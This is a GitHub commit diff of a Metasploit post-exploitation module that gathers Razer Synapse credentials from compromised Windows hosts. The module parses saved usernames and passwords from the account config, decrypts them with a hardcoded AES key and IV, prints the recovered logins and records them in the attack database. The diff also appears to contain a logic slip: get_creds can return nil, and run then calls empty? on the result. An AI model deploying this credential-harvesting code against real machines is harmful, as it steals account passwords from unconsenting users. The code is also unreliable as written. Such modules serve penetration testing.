Skip to content

Commit b038760

Browse files
committed
Update razer_synapse to use the new cred API
1 parent 9713fe7 commit b038760

File tree

1 file changed

+66
-44
lines changed

1 file changed

+66
-44
lines changed

modules/post/windows/gather/credentials/razer_synapse.rb

Lines changed: 66 additions & 44 deletions
Original file line numberDiff line numberDiff line change
@@ -38,59 +38,74 @@ def initialize(info={})
3838
))
3939
end
4040

41+
def is_base64?(str)
42+
str.match(/^([A-Za-z0-9+\/]{4})*([A-Za-z0-9+\/]{4}|[A-Za-z0-9+\/]{3}=|[A-Za-z0-9+\/]{2}==)$/) ? true : false
43+
end
44+
4145
# decrypt password
42-
def decrypt(hash)
46+
def decrypt(pass)
47+
pass = Rex::Text.decode_base64(pass) if is_base64?(pass)
4348
cipher = OpenSSL::Cipher::Cipher.new 'aes-256-cbc'
4449
cipher.decrypt
4550
cipher.key = "hcxilkqbbhczfeultgbskdmaunivmfuo"
4651
cipher.iv = "ryojvlzmdalyglrj"
4752

48-
hash.each_pair { |user,pass|
49-
pass = pass.unpack("m")[0]
53+
pass = pass.unpack("m")[0]
54+
password = cipher.update pass
55+
password << cipher.final
5056

51-
password = cipher.update pass
52-
password << cipher.final rescue return nil
57+
password
58+
end
5359

54-
store_creds(user, password.split("||")[1])
55-
print_good("Found credentials")
56-
print_good("\tUser: #{user}")
57-
print_good("\tPassword: #{password.split("||")[1]}")
60+
def report_cred(opts)
61+
service_data = {
62+
address: opts[:ip],
63+
port: opts[:port],
64+
service_name: opts[:service_name],
65+
protocol: 'tcp',
66+
workspace_id: myworkspace_id
5867
}
59-
end
6068

61-
def store_creds(user, pass)
62-
if db
63-
report_auth_info(
64-
:host => Rex::Socket.resolv_to_dotted("www.razerzone.com"),
65-
:port => 443,
66-
:ptype => 'password',
67-
:sname => 'razer_synapse',
68-
:user => user,
69-
:pass => pass,
70-
:duplicate_ok => true,
71-
:active => true
72-
)
73-
vprint_status("Loot stored in the db")
74-
end
69+
credential_data = {
70+
post_reference_name: self.refname,
71+
session_id: session_db_id,
72+
origin_type: :session,
73+
private_data: opts[:password],
74+
private_type: :password,
75+
username: opts[:user]
76+
}.merge(service_data)
77+
78+
login_data = {
79+
core: create_credential(credential_data),
80+
status: Metasploit::Model::Login::Status::UNTRIED,
81+
}.merge(service_data)
82+
83+
create_credential_login(login_data)
7584
end
7685

7786
# Loop throuhg config, grab user and pass
78-
def parse_config(config)
79-
if not config =~ /<Version>\d<\/Version>/
80-
creds = {}
81-
cred_group = config.split("</SavedCredentials>")
82-
cred_group.each { |cred|
83-
user = /<Username>([^<]+)<\/Username>/.match(cred)
84-
pass = /<Password>([^<]+)<\/Password>/.match(cred)
85-
if user and pass
86-
creds[user[1]] = pass[1]
87-
end
88-
}
89-
return creds
90-
else
91-
print_error("Module only works against configs from version < 1.7.15")
92-
return nil
87+
def get_creds(config)
88+
creds = {}
89+
90+
return nil if !config.include?('<Version>')
91+
92+
xml = ::Nokogiri::XML(config)
93+
xml.xpath('//SavedCredentials').each do |node|
94+
user = node.xpath('Username').text
95+
pass = node.xpath('Password').text
96+
begin
97+
pass = decrypt(pass)
98+
rescue OpenSSL::Cipher::CipherError
99+
# Eh, ok. We tried.
100+
end
101+
creds[user] = pass
93102
end
103+
104+
creds
105+
end
106+
107+
def razerzone_ip
108+
@razerzone_ip ||= Rex::Socket.resolv_to_dotted("www.razerzone.com")
94109
end
95110

96111
# main control method
@@ -104,11 +119,18 @@ def run
104119
contents = read_file(accounts)
105120

106121
# read the contents of file
107-
creds = parse_config(contents)
108-
if creds
109-
decrypt(creds)
110-
else
111-
print_error("Could not read config or empty for #{user['UserName']}")
122+
creds = get_creds(contents)
123+
unless creds.empty?
124+
creds.each_pair do |user, pass|
125+
print_good("Found cred: #{user}:#{pass}")
126+
report_cred(
127+
ip: razerzone_ip,
128+
port: 443,
129+
service_name: 'http',
130+
user: user,
131+
password: pass
132+
)
133+
end
112134
end
113135
end
114136
end

0 commit comments

Comments
 (0)